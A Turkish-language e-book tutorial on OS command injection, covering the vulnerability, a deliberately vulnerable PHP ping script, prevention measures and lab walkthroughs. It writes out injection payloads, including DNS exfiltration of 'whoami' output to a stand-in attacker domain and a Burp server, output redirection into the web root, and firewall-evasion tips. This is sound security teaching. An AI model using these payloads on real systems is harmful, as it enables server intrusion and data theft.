e-kitap

OS COMMAND INJECTİON

HAZIRLAYAN: Seyfullah Polat

OS Command Injection Nedir?

OS Command Injection, bir saldırganın bir uygulamayı çalıştıran sunucuda rasgele işletim sistemi komutu yürütmesine ve genellikle uygulamayı ve tüm verileri tamamen tehlikeye atmasına olanak tanıyan bir web güvenlik açığıdır. Çoğu zaman, bir saldırgan, saldırıyı kuruluş içindeki diğer sistemlere yönlendirmek için güven ilişkilerinden yararlanarak barındırma altyapısının diğer bölümlerini tehlikeye atmak için bir işletim sistemi komutu ekleme güvenlik açığından yararlanabilir.

OS Command Injection Türleri

Executing Arbitrary Commands (İsteğe Bağlı Komutları Yürütme)
Bir alışveriş uygulamasını düşünün, kullanıcının bir ürünü belirli bir mağazada stokta olup olmadığını görmesine izin veriyor. Stok bilgileri için bir URL aracılığıyla erişim sağlanır:

,
https://insecure-website.com/stockStatus?productID=381&storeID=29
Stok bilgilerini almak için uygulama, eski sistemlere sorgu yapar ve ürün ve mağaza kimliklerini bir kabuk komutu çağırarak uygular:

stockreport.pl 381 29
Saldırgan, uygulamanın komutları doğrulamadığından ve girişleri yeterince temizlemediğinden yararlanarak şöyle bir komutu enjekte edebilir:

& echo aksacli &
Bu giriş, uygulamanın çalıştırdığı komutu şu şekilde değiştirecektir:

stockreport.pl & echo aksacli & 29
Sonuç olarak, uygulama orijinal komutu hatalı çalıştıracak ve aynı zamanda enjekte edilen echo komutunu da yürütecektir. Böylece kullanıcıya şu çıktı dönecektir:

Error - productID was not provided
aksacli
29: command not found
Bu sonuçlar, komutların ayrı ayrı çalıştığını ve saldırganın komut enjeksiyonunu gerçekleştirdiğini gösterir.

Blind OS Command Injection Vulnerabilities (Kör OS Command Enjeksiyonu)
Bu türde, uygulamanın HTTP yanıtı içindeki komuttan çıktı döndürülmez. Ancak saldırgan, farklı teknikler kullanarak kör güvenlik açıklarından yararlanabilir.

Detecting Blind OS Command Injection using Time Delays (Zaman Gecikmelerini Kullanarak Kör İşletim Sistemi Komut Enjeksiyonunu Algılama)
Uygulamanın yanıt vermesi için geçen süreye göre komutun yürütüldüğünü doğrulayarak, zaman gecikmeleri tetikleyecek enjekte edilmiş bir komut kullanabilirsiniz. Bu, ping gönderilen ICMP paketlerinin sayısını belirtmenizi sağlayarak etkili bir yoldur.

Exploiting Blind OS Command Injection by Redirecting Output (Çıktıyı Yeniden Yönlendirerek Kör İşletim Sistemi Komut Enjeksiyonundan Yararlanma)
Enjekte edilen komutun çıktısını, web kökünde yer alan bir dosyaya yönlendirebilirsiniz. Örneğin, uygulama dosya sistemi komutundan statik kaynaklar sunuyorsa /var/www/static/aksacli.txt gibi bir dosyaya çıktıyı yönlendirebilirsiniz.

Payload

& whoami > /var/www/static/aksacli.txt &
Bu payload, whoami komutunu çalıştırarak sonucunu /var/www/static/aksacli.txt dosyasına yazacaktır. Daha sonra tarayıcıyı kullanarak enjekte edilen komutun çıktısını görüntüleyebilirsiniz, örneğin: https://vulnerable-website.com/aksacli.txt.

Exploiting Blind OS Command Injection using Out-of-Band (OAST) Techniques

OAST teknikleri kullanarak, kontrol edilen bir sistemle bant dışı bir ağ etkileşimini tetikleyecek enjekte edilmiş bir komut kullanabilirsiniz. Örneğin:

& nslookup kgji2ohoyw.web-attacker.com &
Bu payload, nslookup komutunu kullanarak belirtilen etki alanı için bir DNS aramasına neden olacaktır. Saldırgan, belirtilen aramanın gerçekleştiğini izleyebilir ve böylece komutun başarıyla enjekte edildiğini tespit edebilir.
Band dışı kanal, enjekte edilen komutların çıktısını dışarı sızdırmanın en kolay yolunu sağlar:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
Bu, saldırganın etki alanına whoami komutunun sonucunu içeren bir DNS aramasına neden olacaktır:
wwwuser.kgji2ohoyw.web-attacker.com
OS Command Injection Saldırıları İçin Yöntemler

İşletim sistemi komutu enjeksiyonu saldırıları gerçekleştirmek için çeşitli kabuk meta karakterleri kullanılabilir.

Windows ve Unix tabanlı sistemlerde çalışan bazı komut ayırıcıları şunlardır:

&

&&

|

||

Unix tabanlı sistemlerde, orijinal komut içinde enjekte edilen bir komutun satır içi yürütülmesini sağlamak için ters tırnak (`) veya dolar işareti karakterini de kullanabilirsiniz:

`

$( )

Farklı kabuk meta karakterlerinin, belirli durumlarda çalışıp çalışmadıklarını ve komut çıktısının bant içi alınmasına izin verip vermediğini veya sadece kör kullanım için yararlı olup olmadıklarını etkileyebilecek incelikli farklı davranışlara sahip olduğuna dikkat edin.

İşletim Sistemi Komut Enjeksiyon Saldırıları Nasıl Önlenir?

İşletim sistemi komut ekleme güvenlik açıklarını önlemenin en etkili yolu, uygulama katmanı kodundan işletim sistemi komutlarını asla çağırmamaktır. Neredeyse her durumda, daha güvenli platform API'leri kullanarak gerekli işlevselliği uygulamanın alternatif yolları vardır.

Kullanıcı tarafından sağlanan girdi ile işletim sistemi komutlarının çağrılmasının kaçınılmaz olduğu düşünülürse, güçlü girdi doğrulaması gerçekleştirilmelidir. Bazı etkili doğrulama örnekleri şunları içerir:

İzin verilen değerlerin beyaz listesine göre doğrulama.

Girişin bir sayı olduğunun doğrulanması.

Girdinin yalnızca alfa sayısal karakterler içerdiğinin doğrulanması ve başka bir sözdizimi veya boşluk içermediği doğrulanması.

Asla kabuk meta karakterlerinden kaçınarak girişi temizlemeye çalışmayın. Pratikte bu, hataya fazlasıyla açıktır ve yetenekli bir saldırgan tarafından bypass edilmeye karşı savunmasızdır.

OS COMMAND INJECTION 2

İşletim sistemi komut enjeksiyonu, çoğu programlama dilinde geliştiricinin işletim sistemi komutlarını çağırmasına izin veren işlevlerin kullanımıyla ortaya çıkan bir güvenlik açığıdır. Bu tür işlevlerin yetersiz giriş doğrulaması ile kullanılması, saldırganların kullanıcı girişine kötü amaçlı komutlar eklemesine ve bu komutları ana bilgisayar işletim sisteminde yürütmesine olanak tanır.

Komut enjeksiyon güvenlik açıkları, neredeyse herhangi bir bilgisayar yazılımında, çoğu programlama dilinde ve herhangi bir platformda görülebilecek yaygın bir uygulama güvenlik sorunudur. Bu tür güvenlik

açıkları, gömülü yazılımlardaki yönlendiricilerden PHP ile yazılmış web uygulamalarına, Python ile yazılmış sunucu taraflı komut dosyalarından Java ile yazılmış mobil uygulamalara ve hatta çekirdek işletim sistemi yazılımlarına kadar birçok yerde karşımıza çıkabilir.

İşletim sistemi komut enjeksiyonu, uygulama tarafından kullanıcı girişinin yeterince doğrulanmadan doğrudan işletim sistemi komutlarına iletilmesiyle oluşur. Bu durumda, saldırganlar kullanıcı girişine zararlı komutları ekleyerek saldırı düzenleyebilirler. Özellikle, HTTP GET veya POST parametreleri, HTTP başlıkları, JSON veya XML verileri gibi girişler saldırıya açık hale gelebilir.

İşletim sistemi komut enjeksiyonları, bir işletim sistemi komutunda kullanılan özel öğelerin uygunsuz nötrleştirilmesi olarak tanımlanır. OWASP, bunun için daha basit bir terim olan "komut enjeksiyonu" terimini tercih eder. Ancak, bazı kaynaklar işletim sistemi komut enjeksiyonunu bir tür kod enjeksiyonu olarak değerlendirir. Rastgele bir sonuç döndürmeyen ve saldırganın kontrol ettiği bir sunucuya sonuç gönderen komut enjeksiyonları, "kör" veya "out-of-band" olarak sınıflandırılır.

İşletim sistemi komut enjeksiyonu, uzaktan kod yürütme (RCE) ile karıştırılmamalıdır. RCE durumunda, saldırgan uygulamanın dilinde ve bağlamında kötü amaçlı kod yürütürken, işletim sistemi komut enjeksiyonunda saldırgan işletim sistemi kabuğunda kötü niyetli bir komut yürütür.

Aşağıda, işletim sistemi komut enjeksiyonu güvenlik açığına sahip ve komut enjeksiyonu saldırı vektörünü içeren basit bir PHP kodu örneği verilmiştir:

php

Copy code

```
<?PHP
$address = $_GET["address"];
$output = shell_exec("ping -n 3 $address");
echo "<pre>$output</pre>";
?>
```

İşletim sistemi komut enjeksiyonu güvenlik açıklarını önlemek için, geliştiricilerin aşağıdaki önlemleri alması önemlidir:

Girişleri Temizlemek: Kullanıcı girişlerini güvenli bir şekilde işlemek için girişleri temizlemek gereklidir. Girişleri temizleme, zararlı karakterleri kaldırarak veya etkisiz hale getirerek saldırı girişimlerini engeller.

Karakter Kaçışı (Escaping): Kullanıcı girişleri, güvenli bir şekilde gösterilmeden önce karakter kaçış işlemlerinden geçirilmelidir. Bu, kullanıcı girişlerinin işletim sistemi komutlarıyla karıştırılmasını önler.

Beyaz Liste Kullanımı: Geliştiriciler, kullanıcı girişlerini doğrulamak için beyaz liste (whitelist) yöntemini kullanmalıdır. Beyaz liste, yalnızca belirli, güvenli ve beklenen değerleri kabul ederken diğer tüm girişleri reddeder.

Güvenli Programlama Dillerinin İşlevlerini Kullanmak: İşletim sistemi komutlarını çağırmak yerine, geliştiriciler programlama dillerinin kendi işlevlerini kullanmalıdır. Örneğin, PHP'de shell_exec yerine, PHP'nin sağladığı daha güvenli işlevleri kullanmak gereklidir.

Giriş Doğrulaması: Kullanıcı girişlerinin doğrulanması ve geçerli formatta olduğunun kontrol edilmesi önemlidir. Örneğin, IP adresi gibi beklenen bir formatta veri almak için uygun doğrulama sağlanmalıdır.

Saldırı Vektörü:

Saldırgan, GET isteğini aşağıdaki yük ile manipüle ederek bu komut dosyasını kötüye kullanır:

http://example.com/ping.php?address=8.8.8.8%26dir
shell_exec işlevi aşağıdaki işletim sistemi komutunu yürütür: ping -n 3 8.8.8.8&dir. Windows'taki & sembolü işletim sistemi komutlarını ayırır. Sonuç olarak, savunmasız uygulama ek bir komut (dir) yürütür ve komut çıktısını (dizin listesi) görüntüler:

Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=30ms TTL=56
Reply from 8.8.8.8: bytes=32 time=35ms TTL=56
Reply from 8.8.8.8: bytes=32 time=35ms TTL=56
Ping statistics for 8.8.8.8:
Packets: Sent = 3, Received = 3, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 30ms, Maximum = 35ms, Average = 33ms
Volume in drive C is OS
Volume Serial Number is 1337-8055
Directory of C:\Users\Noob\www
(...)
İşletim sistemi komut enjeksiyon saldırısının olası sonuçları:
İşletim sistemi komut enjeksiyonu güvenlik açığından yararlanılması durumunda, saldırgan güvenlik açığı bulunan uygulamanın ayrıcalıklarıyla işletim sistemi komutlarını yürütebilir. Bu, örneğin saldırganın bir ters kabuk kurmasına ve bu tür ayrıcalıklarla cmd erişimi elde etmesine olanak tanır. Daha sonra, diğer istismarları kullanarak saldırıyı tırmandırabilirler, bu da nihayetinde kök erişim elde etmeye ve sonuç olarak web sunucusu işletim sisteminin tam kontrolüne yol açabilir.

Başarılı olursa, saldırgan aşağıdaki yaygın saldırı türlerinden birini takip edebilir:

Fidye yazılımı veya diğer kötü amaçlı yazılım: Saldırgan, makineye bir fidye yazılımı aracısı yükleyebilir ve bu ajan, kurbanın sahip olduğu diğer varlıklara yayılmak için başka yöntemler kullanabilir.

Kripto para madenciliği: Saldırganlar genellikle güvenliği ihlal edilmiş makinelere çalışma zamanı kaynaklarını tüketen ve daha kötü niyetli faaliyetler için fon sağlayan kripto para madencileri yükler.

Hassas veri hırsızlığı: Saldırgan, kredi kartı numaraları gibi hassas kullanıcı verileriyle SQL veritabanı sunucularına erişmek veya alternatif olarak yerel yapılandırma ve uygulama dosyalarından kimlik bilgilerini almak için ayrıcalık yükseltmeyi kullanabilir.

İşletim sistemi komut enjeksiyon güvenlik açıklarının önlenmesi, web uygulamaları söz konusu olduğunda özellikle önemlidir. Yukarıda belirtilen önlemleri alarak, geliştiriciler uygulama güvenliğini artırabilir ve saldırganların bu tür güvenlik açıklarından yararlanmasını önleyebilirler.

Web sunucusu yöneticisi, işletim sistemi çağrılarına neden olan potansiyel olarak tehlikeli işlevleri devre dışı bırakarak bu riskleri minimize edebilir. Örneğin, PHP kullanıyorsanız, php.ini dosyasına aşağıdaki satırı ekleyerek tehlikeli komutları engelleyebilirsiniz:

```
disable_functions=exec,passthru,shell_exec,system
```

Ancak, bazı durumlarda, doğrudan eşdeğer bir programlama diline sahip olmayabilirsiniz. Bu durumda, giriş temizliği ve karakter kaçışını kullanarak işletim sistemi komut enjeksiyonunu önlemek önemlidir.

Giriş Temizliği Kullanma:

Örneğin, PHP'de ICMP ping paketleri göndermenin doğrudan bir yolu yoktur. Bu gibi durumlarda, kullanıcı girişlerini doğrulamak ve temizlemek önemlidir. Örneğin, kullanıcının verdiği IP adresini doğrulayabilir ve yalnızca geçerli bir IP adresini işletim sistemi komutuna iletmek için filter_var işlevini kullanabilirsiniz:

```
$address = filter_var($_GET["address"], FILTER_VALIDATE_IP);
$output = shell_exec("ping -n 3 $address");
echo "<pre>$output</pre>";
```

Karakter Kaçışını Kullanma:

Bazı dillerde, komut enjeksiyon saldırılarını önlemek için karakter kaçışını kullanabilirsiniz. Bu, kullanıcı girişlerini işletim sistemi komutlarına göndermeden önce özel karakterlerden arındırmanızı sağlar. Örneğin, PHP'de escapeshellarg ve escapeshellcmd işlevlerini kullanabilirsiniz:

```
$address = $_GET["address"];
$output = shell_exec(escapeshellcmd("ping -n 3 $address"));
echo "<pre>$output</pre>";
```

Kara Listeleri Kullanma:

Kara listeler yerine beyaz liste kullanılması önerilir, çünkü saldırganlar kara listeleri atlayabilir. Ancak, kara liste kullanılacaksa, özel karakterleri filtrelemek veya çıkarmak önemlidir. Örneğin, aşağıdaki özel karakterlerin çıkartılması gereklidir:

Windows: ( ) < > & * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + ,

Linux: { } ( ) < > & * ‘ | = ? ; [ ] $ – # ~ ! . ” % / \ : + ,

Unutmayın ki güvenlik önlemleri, bir arada kullanıldığında en iyi sonuçları verir. Komut enjeksiyonu güvenlik açıklarını önlemek için giriş temizliği, karakter kaçışı ve mümkünse beyaz liste kullanımını bir arada uygulamak, saldırılara karşı daha güçlü bir savunma sağlar.

OS COMMAND INJECTION LAB ÇÖZÜMLERİ VE BAZI ÖNEMLİ NOTLAR

DURUM 1

Bir sitede "echo "BENİM ADIM AK SACLI" gibi bir komut geçtiğini farz edelim. Eğer çift tırnaklar kullanılıyorsa, uygulamamız gereken payload çok basit oluyor.

PAYLOAD: echo BENİM ADIM "AK $(sleep 100)SACLI"

Arada kullandığımız $() yerine "" veya '' da kullanılabilirdi, ancak bu şekilde hızlıca tespit edilebilirler. En mantıklı ve farklı işletim sistemlerinde çalıştığı için genel bir kontrol şekli budur. Tabii ki, verdiğimiz girdi çift tırnak içerisinde kullanılmıyor olabilir ve bu durumda diğer senaryolar ortaya çıkar.

DURUM 2

Eğer yukarıdaki gibi tek tırnak kullanılıyorsa, çift tırnak kullanımında yaptığımız uygulamayı yaparak herhangi bir sömürme veya çalıştırma işlemi gerçekleştiremeyiz.

PAYLOAD: echo BENİM ADIM 'AK '$(sleep 100)' SACLI'

Sitede tek tırnak mı yoksa çift tırnak mı kullanıldığını anlamak için nihai payloadumuz:

'$(sleep 100)'

Blind OS Command Injection bazı durumlarda olabilir. Sleep komutu ile bu tür durumlar kontrol edilebilir. Ancak diğer bir yöntem de nslookup'dır. Tüm işletim sistemlerinde sabittir, bu nedenle en iyi yöntemlerden biridir.

Not: Eğer ping işlemi yaptırırsak, doğrudan uyarı alırız ve açık kapatılır. Bu nedenle nslookup daha iyi bir seçenektir. DNS sunucuya gittiği için algılanması zordur.

Şimdi nslookup kullanarak diğer işlemleri firewall'a yakalanmadan yapabiliriz.

Normal Komut: echo BENİM ADIM 'Ak Saclı'

Exploit Ettiğimiz Komut: echo BENİM ADIM 'AK '$(nslookup $(istediğimizkomut).google.com)' SACLI'

Yukarıdaki komutu çalıştırdığımızda nslookup komutu, firewall'a yakalanmadan istediğimiz komutu dışarıya çıkartır.

Örnek Yapalım: echo BENİM ADIM 'AK '$(nslookup $(whoami).google.com)' SACLI'

Yukarıdaki komutu çalıştırdığımızda nslookup, bizi dışarıya taşır ve dışarıdan whoami komutunu alıp getirir.

Yukarıdaki taktik, en iyi OS Command Injection tespit etme şeklidir.

Ek sömürme yöntemlerinde; kullanıldıktan sonra komutları yazmakta vardır. Bu taktik, işletim sisteminde çalışan komutun sadece çalıştırılan dosyada dönmesi durumlarında işe yarar. ; işaretiyle işlemleri ayırıp diğer istediğimiz komutu da çalıştırmak istediğimizde kullanabiliriz.

Pumplayarak Kullanma: echo $(whoami)

Bu şekilde de sömürme işlemleri yapılabilir. Linux işletim sistemi komutlarına ne kadar hakim olduğumuza göre değişebilecek yöntemler ve yollar vardır.

LAB ÇÖZÜMLERİ

OS command injection, simple case (İşletim sistemi komut enjeksiyonu, basit durum):
Bu gibi durumlarda işiniz aşırı kolay olmuş oluyor. Direkt olarak yukarıda kullandığımız nihai payload ile sömürülebilir.

'$(sleep 10)'

Blind OS command injection with time delays (Zaman gecikmeli Blind OS komut enjeksiyonu):
Bu gibi durumlarda blind olduğu için sleep komutu ile doğrulama yapılabilir. Bunu en iyi şekilde yine nihai payloadumuz ile yapabiliriz.

Blind OS command injection with output redirection (Çıkış yeniden yönlendirmeli Blind OS komut enjeksiyonu):
Bu gibi durumlarda çok şanslıyız. Komutumuzun çıktısını erişebileceğimiz bir klasör altına yazdırarak oradan ulaşmaya çalışıyoruz. Örnek bir payload:

'$(whoami > /var/www/images/aksacli.txt)' --- Bu komut sayesinde belirtilen uzantı içerisindeki aksacli.txt dosyasına komutumuzun çıktısını yazdırmış oluruz.

Çözdüğümüz lab içerisinde bir ipucu bize zaten verilmişti. Resimlerin çağırıldığı url gibi. Böyle durumlarda resimlerin çağırıldığı dizinler veya kolay erişebileceğimiz dizinler üzerine yoğunlaşmak faydalı olacaktır.

Blind OS command injection with out-of-band interaction (Bant dışı etkileşimli Blind OS komut enjeksiyonu):
Bant dışı blind OS command injection en zor sömürülebilenlerden birisidir. Ancak bizim için zor diye bir şey yoktur :) Bu konuyu anlatmadan önce, bir konudan bahsetmek istiyorum.

Bazı durumlarda firewall devreye girebilir. WAF devreye girme riskini azaltmak için birkaç taktik uyguluyoruz. Örneğin, whois sorgumuzu dışarıya başka bir komut ile çıkarmaya çalışıyoruz. Lab içinde çözeceğimiz örnek payloadlardan biri:

'$(nslookup whois.google.com)' --- Neden nslookup kullandık? Günümüz web uygulamalarında DNS sorguları sunucuya tam girmeden gerçekleştirildiği için WAF gibi durumlarla karşılaşmamız olasıdır.

Labdaki çözümümüze gelelim. Google bir örnekti ve bizim nslookup sorgumuzu görmemiz gerekiyor. Bu yüzden bir sunucuya ihtiyacımız var. Bunu yapmak için Burp Suite sağlar.

Burp Suite'de bir sunucu açtıktan sonra sorgumuz aşağıdaki gibi olacaktır:

& nslookup $('whois').burpsuiteserverurl # --- Bunları tabii ki URL encoding yapmamız faydalı olacaktır.

||nslookup $('whois').burpsuiteserverurl|| --- Bunları tabii ki URL encoding yapmamız faydalı olacaktır.

'$(nslookup $('whois').burpsuiteserverurl)' --- Bunları tabii ki URL encoding yapmamız gerekir.

Bu ve bunun gibi birçok payload üretilebilir.